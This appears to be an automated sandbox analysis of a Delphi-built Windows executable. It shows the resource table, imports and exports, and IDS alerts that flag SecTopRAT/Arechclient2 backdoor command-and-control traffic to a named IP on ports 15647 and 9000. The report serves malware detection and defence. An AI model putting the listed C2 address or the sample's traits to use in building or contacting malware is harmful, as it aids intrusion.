RT_RCDATA	0xb43dbc	0xc3d	PNG image data, 70 x 70, 8-bit/color RGBA, non-interlaced	English	United States	1.003511011809767
RT_RCDATA	0xb449fc	0x148b	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced	English	United States	1.0020916524054002
RT_RCDATA	0xb45e88	0x111e	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced	English	United States	1.0025102692834322
RT_RCDATA	0xb46fa8	0xd8c	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced	English	United States	1.0031718569780854
RT_RCDATA	0xb47d34	0x65ba	PNG image data, 123 x 123, 8-bit/color RGBA, non-interlaced	English	United States	1.0006143921357806
RT_RCDATA	0xb4e2f0	0xf4ef	PNG image data, 190 x 190, 8-bit/color RGBA, non-interlaced	English	United States	1.0004146532063856
RT_RCDATA	0xb5d7e0	0x1469b	PNG image data, 228 x 228, 8-bit/color RGB, non-interlaced	English	United States	1.000430565356233
RT_RCDATA	0xb71e7c	0x2	data	English	United States	5.0
RT_RCDATA	0xb71e80	0x38b0	PNG image data, 190 x 190, 8-bit/color RGB, non-interlaced	English	United States	0.9865628445424476
RT_RCDATA	0xb75730	0x22d3	PNG image data, 190 x 190, 8-bit/color RGB, non-interlaced	English	United States	0.9876612450925406
RT_RCDATA	0xb77a04	0x223d	PNG image data, 190 x 190, 8-bit/color RGB, non-interlaced	English	United States	0.9865373645179693
RT_RCDATA	0xb79c44	0x227a	PNG image data, 190 x 190, 8-bit/color RGB, non-interlaced	English	United States	0.9848175844096986
RT_RCDATA	0xb7bec0	0x91b	PNG image data, 123 x 123, 8-bit/color RGB, non-interlaced	English	United States	1.0047190047190047
RT_RCDATA	0xb7c7dc	0x901	PNG image data, 123 x 123, 8-bit/color RGB, non-interlaced	English	United States	1.004772234273319
RT_RCDATA	0xb7d0e0	0x91b	PNG image data, 123 x 123, 8-bit/color RGB, non-interlaced	English	United States	1.0047190047190047
RT_RCDATA	0xb7d9fc	0x220d	PNG image data, 228 x 228, 8-bit/color RGB, non-interlaced	English	United States	0.9700585063668693
RT_RCDATA	0xb7fc0c	0x23ab	PNG image data, 190 x 190, 8-bit/color RGB, non-interlaced	English	United States	0.9877340926514073
RT_RCDATA	0xb81fb8	0x215a	PNG image data, 190 x 190, 8-bit/color RGB, non-interlaced	English	United States	0.9871164207074257
RT_RCDATA	0xb84114	0x2152	PNG image data, 190 x 190, 8-bit/color RGB, non-interlaced	English	United States	0.9838218053927316
RT_RCDATA	0xb86268	0x2152	PNG image data, 190 x 190, 8-bit/color RGB, non-interlaced	English	United States	0.9838218053927316
RT_RCDATA	0xb883bc	0x1ff7	PNG image data, 190 x 190, 8-bit/color RGB, non-interlaced	English	United States	0.9865574972503972
RT_RCDATA	0xb8a3b4	0x1fdb	PNG image data, 190 x 190, 8-bit/color RGB, non-interlaced	English	United States	0.9862660944206009
RT_RCDATA	0xb8c390	0x8a3	PNG image data, 123 x 123, 8-bit/color RGB, non-interlaced	English	United States	1.0049751243781095
RT_RCDATA	0xb8cc34	0x8a3	PNG image data, 123 x 123, 8-bit/color RGB, non-interlaced	English	United States	1.0049751243781095
RT_RCDATA	0xb8d4d8	0x8a3	PNG image data, 123 x 123, 8-bit/color RGB, non-interlaced	English	United States	1.0049751243781095
RT_RCDATA	0xb8dd7c	0x2d53	PNG image data, 190 x 190, 8-bit/color RGB, non-interlaced	English	United States	0.9911229854348014
RT_RCDATA	0xb90ad0	0x2d53	PNG image data, 190 x 190, 8-bit/color RGB, non-interlaced	English	United States	0.9911229854348014
RT_RCDATA	0xb93824	0x219e	PNG image data, 190 x 190, 8-bit/color RGB, non-interlaced	English	United States	0.9846618638159423
RT_RCDATA	0xb959c4	0x2198	PNG image data, 190 x 190, 8-bit/color RGB, non-interlaced	English	United States	0.9844186046511628
RT_RCDATA	0xb97b5c	0x8cb	PNG image data, 123 x 123, 8-bit/color RGB, non-interlaced	English	United States	1.0048867170146603
RT_RCDATA	0xb98428	0x8cb	PNG image data, 123 x 123, 8-bit/color RGB, non-interlaced	English	United States	1.0048867170146603
RT_RCDATA	0xb98cf4	0x19b3	PNG image data, 123 x 123, 8-bit/color RGB, non-interlaced	English	United States	1.001671986624107
RT_RCDATA	0xb9a6a8	0x8f6	PNG image data, 123 x 123, 8-bit/color RGB, non-interlaced	English	United States	1.0047951176983434
RT_RCDATA	0xb9afa0	0x8f6	PNG image data, 123 x 123, 8-bit/color RGB, non-interlaced	English	United States	1.0047951176983434
RT_RCDATA	0xb9b898	0x167c	PNG image data, 123 x 123, 8-bit/color RGB, non-interlaced	English	United States	1.0019110493398193
RT_RCDATA	0xb9cf14	0xa6d	PNG image data, 123 x 123, 8-bit/color RGB, non-interlaced	English	United States	1.004121393780442
RT_RCDATA	0xb9d984	0xa6d	PNG image data, 123 x 123, 8-bit/color RGB, non-interlaced	English	United States	1.004121393780442
RT_RCDATA	0xb9e3f4	0x17e1	PNG image data, 123 x 123, 8-bit/color RGB, non-interlaced	English	United States	1.0017994438082773
RT_RCDATA	0xb9fbd8	0x85b	PNG image data, 123 x 123, 8-bit/color RGB, non-interlaced	English	United States	1.005142589995325
RT_RCDATA	0xba0434	0x85b	PNG image data, 123 x 123, 8-bit/color RGB, non-interlaced	English	United States	1.005142589995325
RT_RCDATA	0xba0c90	0x153a	PNG image data, 123 x 123, 8-bit/color RGB, non-interlaced	English	United States	1.0020242914979758
RT_RCDATA	0xba21cc	0x2d9e	PNG image data, 228 x 228, 8-bit/color RGB, non-interlaced	English	United States	0.9682308614488783
RT_RCDATA	0xba4f6c	0x1e60	PNG image data, 228 x 228, 8-bit/color RGB, non-interlaced	English	United States	0.9745370370370371
RT_RCDATA	0xba6dcc	0x201e	PNG image data, 190 x 190, 8-bit/color RGB, non-interlaced	English	United States	0.9837022622233034
RT_RCDATA	0xba8dec	0x1e19	PNG image data, 190 x 190, 8-bit/color RGB, non-interlaced	English	United States	0.9846852693056457
RT_RCDATA	0xbaac08	0x1ef8	PNG image data, 190 x 190, 8-bit/color RGB, non-interlaced	English	United States	0.983728557013118
RT_RCDATA	0xbacb00	0x1f0f	PNG image data, 190 x 190, 8-bit/color RGB, non-interlaced	English	United States	0.9864168029178719
RT_RCDATA	0xbaea10	0x1c8a	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.0015056118258965
RT_RCDATA	0xbb069c	0x249f	PNG image data, 70 x 70, 8-bit/color RGBA, non-interlaced	English	United States	1.0011733333333332
RT_RCDATA	0xbb2b3c	0xdcd	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced	English	United States	0.9957543164449476
RT_RCDATA	0xbb390c	0x117d	PNG image data, 70 x 70, 8-bit/color RGBA, non-interlaced	English	United States	0.9953093589457226
RT_RCDATA	0xbb4a8c	0x75165	Delphi compiled form 'TformMain'			0.693264441010949
RT_RCDATA	0xc29bf4	0x7ce61	Delphi compiled form 'TfrmAuthor'			0.48831376995025266
RT_RCDATA	0xca6a58	0x1d771	Delphi compiled form 'TfrmCrypto'			0.8385354091922214
RT_RCDATA	0xcc41cc	0x32202	Delphi compiled form 'TfrmDonate'			0.9787252695870715
RT_RCDATA	0xcf63d0	0x44a06	Delphi compiled form 'TfrmEWallet'			0.6052352593794247
RT_RCDATA	0xd3add8	0x15bc9	Delphi compiled form 'TfrmReminder'			0.9959677872249615
RT_RCDATA	0xd509a4	0x2bee1	Delphi compiled form 'TfrmRubSvc'			0.7033628436619483
RT_RCDATA	0xd7c888	0x165da	Delphi compiled form 'TfrmUpdate'			0.9927627988210894
RT_RCDATA	0xd92e64	0x3b06c	Delphi compiled form 'TfrmUsdSvc'			0.5216526314047946
RT_RCDATA	0xdcded0	0xb4c	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.0038035961272476
RT_RCDATA	0xdcea1c	0xe02	PNG image data, 70 x 70, 8-bit/color RGBA, non-interlaced	English	United States	1.0030674846625767
RT_RCDATA	0xdcf820	0xd66	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.003206997084548
RT_RCDATA	0xdd0588	0x1033	PNG image data, 70 x 70, 8-bit/color RGBA, non-interlaced	English	United States	1.0026525198938991
RT_RCDATA	0xdd15bc	0xee9	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.0028818443804035
RT_RCDATA	0xdd24a8	0x1212	PNG image data, 70 x 70, 8-bit/color RGBA, non-interlaced	English	United States	1.0023778642455685
RT_RCDATA	0xdd36bc	0xb92	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.0037137069547604
RT_RCDATA	0xdd4250	0xdee	PNG image data, 70 x 70, 8-bit/color RGBA, non-interlaced	English	United States	1.0030846887268647
RT_RCDATA	0xdd5040	0xde5	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.0030924936744448
RT_RCDATA	0xdd5e28	0xe08	PNG image data, 70 x 70, 8-bit/color RGBA, non-interlaced	English	United States	1.0030623608017817
RT_RCDATA	0xdd6c30	0x151a	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.0020362828582006
RT_RCDATA	0xdd814c	0x1b9e	PNG image data, 70 x 70, 8-bit/color RGBA, non-interlaced	English	United States	1.0015558698727016
RT_RCDATA	0xdd9cec	0xb42	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.0038167938931297
RT_RCDATA	0xdda830	0xde0	PNG image data, 70 x 70, 8-bit/color RGBA, non-interlaced	English	United States	1.0030968468468469
RT_RCDATA	0xddb610	0xabb	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.0040043684018929
RT_RCDATA	0xddc0cc	0xcaa	PNG image data, 70 x 70, 8-bit/color RGBA, non-interlaced	English	United States	1.0033929673041333
RT_GROUP_CURSOR	0xddcd78	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0xddcd8c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0xddcda0	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xddcdb4	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xddcdc8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xddcddc	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xddcdf0	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_ICON	0xddce04	0x84	data	English	United States	0.7424242424242424
RT_GROUP_ICON	0xddce88	0x4c	data	English	United States	0.8421052631578947
RT_GROUP_ICON	0xddced4	0x4c	data	English	United States	0.8421052631578947
RT_GROUP_ICON	0xddcf20	0x4c	data	English	United States	0.8421052631578947
RT_GROUP_ICON	0xddcf6c	0x4c	data	English	United States	0.8421052631578947
RT_GROUP_ICON	0xddcfb8	0x4c	data	English	United States	0.8157894736842105
RT_GROUP_ICON	0xddd004	0x4c	data	English	United States	0.8421052631578947
RT_GROUP_ICON	0xddd050	0x4c	data	English	United States	0.8421052631578947
RT_GROUP_ICON	0xddd09c	0x4c	data	English	United States	0.8421052631578947
RT_GROUP_ICON	0xddd0e8	0x4c	data	English	United States	0.8421052631578947
RT_GROUP_ICON	0xddd134	0x4c	data	English	United States	0.8421052631578947
RT_GROUP_ICON	0xddd180	0x4c	data	English	United States	0.8421052631578947
RT_GROUP_ICON	0xddd1cc	0x4c	data	English	United States	0.8421052631578947
RT_GROUP_ICON	0xddd218	0x4c	data	English	United States	0.8421052631578947
RT_GROUP_ICON	0xddd264	0x4c	data	English	United States	0.8421052631578947
RT_GROUP_ICON	0xddd2b0	0x4c	data	English	United States	0.8421052631578947
RT_GROUP_ICON	0xddd2fc	0x4c	data	English	United States	0.8289473684210527
RT_GROUP_ICON	0xddd348	0x4c	data	English	United States	0.8289473684210527
RT_GROUP_ICON	0xddd394	0x4c	data	English	United States	0.8421052631578947
RT_GROUP_ICON	0xddd3e0	0x4c	data	English	United States	0.8421052631578947
RT_GROUP_ICON	0xddd42c	0x4c	data	English	United States	0.75
RT_GROUP_ICON	0xddd478	0x4c	data	English	United States	0.8421052631578947
RT_GROUP_ICON	0xddd4c4	0x4c	data	English	United States	0.8421052631578947
RT_GROUP_ICON	0xddd510	0x4c	data	English	United States	0.8421052631578947
RT_GROUP_ICON	0xddd55c	0x4c	data	English	United States	0.8421052631578947
RT_GROUP_ICON	0xddd5a8	0x4c	data	English	United States	0.8421052631578947
RT_GROUP_ICON	0xddd5f4	0x4c	data	English	United States	0.8421052631578947
RT_GROUP_ICON	0xddd640	0x4c	data	English	United States	0.8421052631578947
RT_GROUP_ICON	0xddd68c	0x4c	data	English	United States	0.8421052631578947
RT_GROUP_ICON	0xddd6d8	0x84	data	English	United States	0.7272727272727273
RT_VERSION	0xddd75c	0x374	data	English	United States	0.4298642533936652
RT_MANIFEST	0xdddad0	0x5d7	XML 1.0 document, ASCII text, with CRLF, LF line terminators	English	United States	0.42675585284280937

Imports

DLL	Import
ADVAPI32.DLL	RegCloseKey, RegConnectRegistryW, RegCreateKeyExW, RegDeleteKeyW, RegDeleteValueW, RegEnumKeyExW, RegEnumValueW, RegFlushKey, RegLoadKeyW, RegOpenKeyExW, RegQueryInfoKeyW, RegQueryValueExW, RegReplaceKeyW, RegRestoreKeyW, RegSaveKeyW, RegSetValueExA, RegSetValueExW, RegUnLoadKeyW
KERNEL32.DLL	CloseHandle, CompareStringW, CreateDirectoryW, CreateEventW, CreateFileA, CreateFileW, CreateMutexA, CreateProcessW, CreateSemaphoreA, CreateThread, DeleteCriticalSection, DeleteFileA, DeleteFileW, DuplicateHandle, EnterCriticalSection, EnumCalendarInfoW, EnumResourceNamesW, EnumSystemLocalesW, ExitProcess, ExitThread, FileTimeToDosDateTime, FileTimeToLocalFileTime, FileTimeToSystemTime, FindClose, FindFirstFileA, FindFirstFileW, FindNextFileA, FindNextFileW, FindResourceW, FormatMessageW, FreeEnvironmentStringsA, FreeEnvironmentStringsW, FreeLibrary, FreeResource, GetACP, GetCPInfo, GetCPInfoExW, GetCommandLineW, GetCurrentDirectoryA, GetCurrentProcess, GetCurrentProcessId, GetCurrentThread, GetCurrentThreadId, GetDateFormatW, GetDiskFreeSpaceW, GetDriveTypeA, GetEnvironmentStrings, GetEnvironmentStringsW, GetEnvironmentVariableW, GetExitCodeThread, GetFileAttributesA, GetFileAttributesW, GetFileInformationByHandle, GetFileSize, GetFileType, GetFullPathNameA, GetFullPathNameW, GetLastError, GetLocalTime, GetLocaleInfoA, GetLocaleInfoW, GetModuleFileNameA, GetModuleFileNameW, GetModuleHandleA, GetModuleHandleW, GetOEMCP, GetProcAddress, GetProcessHeap, GetStartupInfoA, GetStartupInfoW, GetStdHandle, GetStringTypeA, GetStringTypeW, GetSystemDefaultLangID, GetSystemDefaultUILanguage, GetSystemInfo, GetSystemPowerStatus, GetSystemTimeAsFileTime, GetThreadLocale, GetThreadPriority, GetTickCount, GetTimeZoneInformation, GetUserDefaultLCID, GetUserDefaultUILanguage, GetVersion, GetVersionExA, GetVersionExW, GetVolumeInformationA, GlobalAddAtomW, GlobalAlloc, GlobalDeleteAtom, GlobalFindAtomW, GlobalFree, GlobalHandle, GlobalLock, GlobalSize, GlobalUnlock, HeapAlloc, HeapCreate, HeapDestroy, HeapFree, InitializeCriticalSection, IsDBCSLeadByteEx, IsDebuggerPresent, IsValidLocale, LCMapStringA, LCMapStringW, LeaveCriticalSection, LoadLibraryA, LoadLibraryExW, LoadLibraryW, LoadResource, LocalAlloc, LocalFree, LockResource, MoveFileA, MulDiv, MultiByteToWideChar, OpenMutexA, QueryPerformanceCounter, QueryPerformanceFrequency, RaiseException, ReadFile, ReleaseMutex, ReleaseSemaphore, ResetEvent, ResumeThread, RtlUnwind, SetConsoleCtrlHandler, SetEndOfFile, SetErrorMode, SetEvent, SetFilePointer, SetHandleCount, SetLastError, SetThreadLocale, SetThreadPriority, SizeofResource, Sleep, SuspendThread, SwitchToThread, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, TryEnterCriticalSection, UnhandledExceptionFilter, VerSetConditionMask, VerifyVersionInfoW, VirtualAlloc, VirtualFree, VirtualQuery, VirtualQueryEx, WaitForMultipleObjectsEx, WaitForSingleObject, WaitForSingleObjectEx, WideCharToMultiByte, WriteFile, lstrcmpW, lstrlenW
VERSION.DLL	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW
WINSPOOL.DRV	ClosePrinter, DocumentPropertiesW, EnumPrintersW, OpenPrinterW
COMCTL32.DLL	FlatSB_GetScrollInfo, FlatSB_GetScrollPos, FlatSB_SetScrollInfo, FlatSB_SetScrollPos, FlatSB_SetScrollProp, ImageList_Add, ImageList_BeginDrag, ImageList_Copy, ImageList_Create, ImageList_Destroy, ImageList_DragEnter, ImageList_DragLeave, ImageList_DragMove, ImageList_DragShowNolock, ImageList_Draw, ImageList_DrawEx, ImageList_DrawIndirect, ImageList_EndDrag, ImageList_GetBkColor, ImageList_GetDragImage, ImageList_GetIcon, ImageList_GetIconSize, ImageList_GetImageCount, ImageList_GetImageInfo, ImageList_LoadImageW, ImageList_Read, ImageList_Remove, ImageList_Replace, ImageList_ReplaceIcon, ImageList_SetBkColor, ImageList_SetIconSize, ImageList_SetImageCount, ImageList_SetOverlayImage, ImageList_Write, InitializeFlatSB, _TrackMouseEvent
COMDLG32.DLL	FindTextW
GDI32.DLL	AbortDoc, AngleArc, Arc, ArcTo, BitBlt, Chord, CombineRgn, CopyEnhMetaFileW, CreateBitmap, CreateBrushIndirect, CreateCompatibleBitmap, CreateCompatibleDC, CreateDCW, CreateDIBSection, CreateDIBitmap, CreateFontIndirectW, CreateHalftonePalette, CreateICW, CreatePalette, CreatePenIndirect, CreateRectRgn, CreateSolidBrush, DeleteDC, DeleteEnhMetaFile, DeleteObject, Ellipse, EndDoc, EndPage, EnumFontFamiliesExW, EnumFontsW, ExcludeClipRect, ExtFloodFill, ExtTextOutW, FrameRgn, GdiFlush, GetBitmapBits, GetBrushOrgEx, GetClipBox, GetCurrentPositionEx, GetDIBColorTable, GetDIBits, GetDeviceCaps, GetEnhMetaFileBits, GetEnhMetaFileDescriptionW, GetEnhMetaFileHeader, GetEnhMetaFilePaletteEntries, GetNearestPaletteIndex, GetObjectW, GetPaletteEntries, GetPixel, GetRgnBox, GetStockObject, GetStretchBltMode, GetSystemPaletteEntries, GetTextExtentPoint32W, GetTextExtentPointW, GetTextMetricsW, GetWinMetaFileBits, GetWindowOrgEx, IntersectClipRect, LineTo, MaskBlt, MoveToEx, PatBlt, Pie, PlayEnhMetaFile, PolyBezier, PolyBezierTo, Polygon, Polyline, RealizePalette, RectVisible, Rectangle, ResizePalette, RestoreDC, RoundRect, SaveDC, SelectClipRgn, SelectObject, SelectPalette, SetAbortProc, SetBkColor, SetBkMode, SetBrushOrgEx, SetDIBColorTable, SetDIBits, SetEnhMetaFileBits, SetMapMode, SetPixel, SetROP2, SetRectRgn, SetStretchBltMode, SetTextColor, SetViewportOrgEx, SetWinMetaFileBits, SetWindowOrgEx, StartDocW, StartPage, StretchBlt, StretchDIBits, UnrealizeObject
SHELL32.DLL	SHAppBarMessage, ShellExecuteW, Shell_NotifyIconW
USER32.DLL	ActivateKeyboardLayout, AdjustWindowRectEx, BeginPaint, BringWindowToTop, CallNextHookEx, CallWindowProcW, CharLowerBuffW, CharLowerW, CharNextW, CharUpperBuffW, CharUpperW, CheckMenuItem, ChildWindowFromPoint, ClientToScreen, CloseClipboard, CopyIcon, CopyImage, CountClipboardFormats, CreateAcceleratorTableW, CreateIcon, CreateIconIndirect, CreateMenu, CreatePopupMenu, CreateWindowExW, DefFrameProcW, DefMDIChildProcW, DefWindowProcW, DeleteMenu, DestroyCursor, DestroyIcon, DestroyMenu, DestroyWindow, DispatchMessageA, DispatchMessageW, DrawEdge, DrawFocusRect, DrawFrameControl, DrawIcon, DrawIconEx, DrawMenuBar, DrawTextExW, DrawTextW, EmptyClipboard, EnableMenuItem, EnableScrollBar, EnableWindow, EndMenu, EndPaint, EnumChildWindows, EnumClipboardFormats, EnumDisplayMonitors, EnumThreadWindows, EnumWindows, FillRect, FindWindowExW, FindWindowW, FrameRect, GetActiveWindow, GetCapture, GetClassInfoW, GetClassLongW, GetClassNameW, GetClientRect, GetClipboardData, GetCursor, GetCursorPos, GetDC, GetDCEx, GetDesktopWindow, GetDlgCtrlID, GetFocus, GetForegroundWindow, GetIconInfo, GetKeyNameTextW, GetKeyState, GetKeyboardLayout, GetKeyboardLayoutList, GetKeyboardLayoutNameW, GetKeyboardState, GetLastActivePopup, GetMenu, GetMenuItemCount, GetMenuItemID, GetMenuItemInfoW, GetMenuState, GetMenuStringW, GetMessageExtraInfo, GetMessagePos, GetMonitorInfoW, GetParent, GetPropW, GetScrollBarInfo, GetScrollInfo, GetScrollPos, GetScrollRange, GetSubMenu, GetSysColor, GetSysColorBrush, GetSystemMenu, GetSystemMetrics, GetTopWindow, GetUpdateRect, GetWindow, GetWindowDC, GetWindowLongW, GetWindowPlacement, GetWindowRect, GetWindowTextW, GetWindowThreadProcessId, HideCaret, InsertMenuItemW, InsertMenuW, InvalidateRect, IsChild, IsClipboardFormatAvailable, IsDialogMessageA, IsDialogMessageW, IsIconic, IsWindow, IsWindowEnabled, IsWindowUnicode, IsWindowVisible, IsZoomed, KillTimer, LoadBitmapW, LoadCursorW, LoadIconW, LoadKeyboardLayoutW, LoadStringW, LockWindowUpdate, MapVirtualKeyW, MapWindowPoints, MessageBeep, MessageBoxW, MonitorFromPoint, MonitorFromRect, MonitorFromWindow, MoveWindow, MsgWaitForMultipleObjects, MsgWaitForMultipleObjectsEx, OpenClipboard, PeekMessageA, PeekMessageW, PostMessageW, PostQuitMessage, RedrawWindow, RegisterClassW, RegisterClipboardFormatW, RegisterWindowMessageW, ReleaseCapture, ReleaseDC, RemoveMenu, RemovePropW, ScreenToClient, ScrollWindow, SendMessageA, SendMessageW, SetActiveWindow, SetCapture, SetClassLongW, SetClipboardData, SetCursor, SetCursorPos, SetFocus, SetForegroundWindow, SetMenu, SetMenuItemInfoW, SetParent, SetPropW, SetRect, SetScrollInfo, SetScrollPos, SetScrollRange, SetTimer, SetWindowLongW, SetWindowPlacement, SetWindowPos, SetWindowRgn, SetWindowTextW, SetWindowsHookExW, ShowCaret, ShowOwnedPopups, ShowScrollBar, ShowWindow, SystemParametersInfoW, TrackPopupMenu, TranslateMDISysAccel, TranslateMessage, UnhookWindowsHookEx, UnregisterClassW, UpdateWindow, ValidateRect, WaitMessage, WindowFromPoint, wsprintfA, wsprintfW
WINMM.DLL	timeGetTime
OLE32.DLL	CoCreateInstance, CoInitialize, CoTaskMemAlloc, CoTaskMemFree, CoUninitialize, IsEqualGUID, OleInitialize, OleUninitialize
OLEAUT32.DLL	GetErrorInfo, SafeArrayCreate, SafeArrayGetLBound, SafeArrayGetUBound, SafeArrayPtrOfIndex, SysAllocStringLen, SysFreeString, SysReAllocStringLen, VariantChangeType, VariantClear, VariantCopy, VariantInit

Exports

Name	Ordinal	Address
@$xp$10TfrmAuthor	4	0x406790
@$xp$10TfrmCrypto	7	0x40a89c
@$xp$10TfrmDonate	10	0x40bf90
@$xp$10TfrmRubSvc	22	0x41b09c
@$xp$10TfrmUpdate	25	0x41c108
@$xp$10TfrmUsdSvc	28	0x41dc3c
@$xp$11TfrmEWallet	13	0x40d57c
@$xp$12TfrmReminder	19	0x419cc4
@$xp$9TformMain	16	0x4194a4
@@Donutsoft_site_work@Finalize	3	0x405788
@@Donutsoft_site_work@Initialize	2	0x405764
@@Fauthor@Finalize	6	0x4067dc
@@Fauthor@Initialize	5	0x4067b8
@@Fcrypto@Finalize	9	0x40a8e8
@@Fcrypto@Initialize	8	0x40a8c4
@@Fdonate@Finalize	12	0x40bfdc
@@Fdonate@Initialize	11	0x40bfb8
@@Fewallet@Finalize	15	0x40d5cc
@@Fewallet@Initialize	14	0x40d5a8
@@Fmain@Finalize	18	0x4194f0
@@Fmain@Initialize	17	0x4194cc
@@Freminder@Finalize	21	0x419d14
@@Freminder@Initialize	20	0x419cf0
@@Frubsvc@Finalize	24	0x41b0e8
@@Frubsvc@Initialize	23	0x41b0c4
@@Fupdate@Finalize	27	0x41c154
@@Fupdate@Initialize	26	0x41c130
@@Fusdsvc@Finalize	30	0x41dc88
@@Fusdsvc@Initialize	29	0x41dc64
@@Kiuseful@Finalize	32	0x424164
@@Kiuseful@Initialize	31	0x424140
___CPPdebugHook	34	0x70a0b0
___setRaiseListFuncAddr	33	0x703878
__dbk_fcall_wrapper	1	0x4030b0
_formMain	40	0x728510
_frmAuthor	36	0x728488
_frmCrypto	37	0x7284bc
_frmDonate	38	0x7284d8
_frmEWallet	39	0x7284f4
_frmReminder	41	0x72852c
_frmRubSvc	42	0x728548
_frmUpdate	43	0x728564
_frmUsdSvc	44	0x728580
dbkFCallWrapperAddr	35	0x728364

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-26T01:47:57.842580+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	49716	213.109.202.97	15647	TCP
2024-09-26T01:47:57.950001+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	49716	213.109.202.97	15647	TCP
2024-09-26T01:47:58.059489+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	49716	213.109.202.97	15647	TCP
2024-09-26T01:47:58.168607+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	49716	213.109.202.97	15647	TCP
2024-09-26T01:47:58.277897+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	49716	213.109.202.97	15647	TCP
2024-09-26T01:47:58.387407+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	49716	213.109.202.97	15647	TCP
2024-09-26T01:47:58.438204+0200	2029217	ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init	1	213.109.202.97	15647	192.168.2.7	49716	TCP
2024-09-26T01:47:58.498001+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	49716	213.109.202.97	15647	TCP
2024-09-26T01:47:58.605796+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	49716	213.109.202.97	15647	TCP
2024-09-26T01:47:58.715169+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	49716	213.109.202.97	15647	TCP
2024-09-26T01:47:58.824699+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	49716	213.109.202.97	15647	TCP
2024-09-26T01:48:02.422501+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	49717	213.109.202.97	9000	TCP
2024-09-26T01:48:11.926746+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	49718	213.109.202.97	9000	TCP
2024-09-26T01:48:13.849530+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58353	213.109.202.97	9000	TCP
2024-09-26T01:48:18.010960+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58354	213.109.202.97	9000	TCP
2024-09-26T01:48:22.251020+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58355	213.109.202.97	9000	TCP
2024-09-26T01:48:24.020362+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58356	213.109.202.97	9000	TCP
2024-09-26T01:48:25.875148+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58357	213.109.202.97	9000	TCP
2024-09-26T01:48:27.641824+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58358	213.109.202.97	9000	TCP
2024-09-26T01:48:29.511209+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58359	213.109.202.97	9000	TCP
2024-09-26T01:48:33.641766+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58360	213.109.202.97	9000	TCP
2024-09-26T01:48:35.510412+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58361	213.109.202.97	9000	TCP
2024-09-26T01:48:37.284317+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58362	213.109.202.97	9000	TCP
2024-09-26T01:48:39.158389+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58363	213.109.202.97	9000	TCP
2024-09-26T01:48:40.924574+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58364	213.109.202.97	9000	TCP
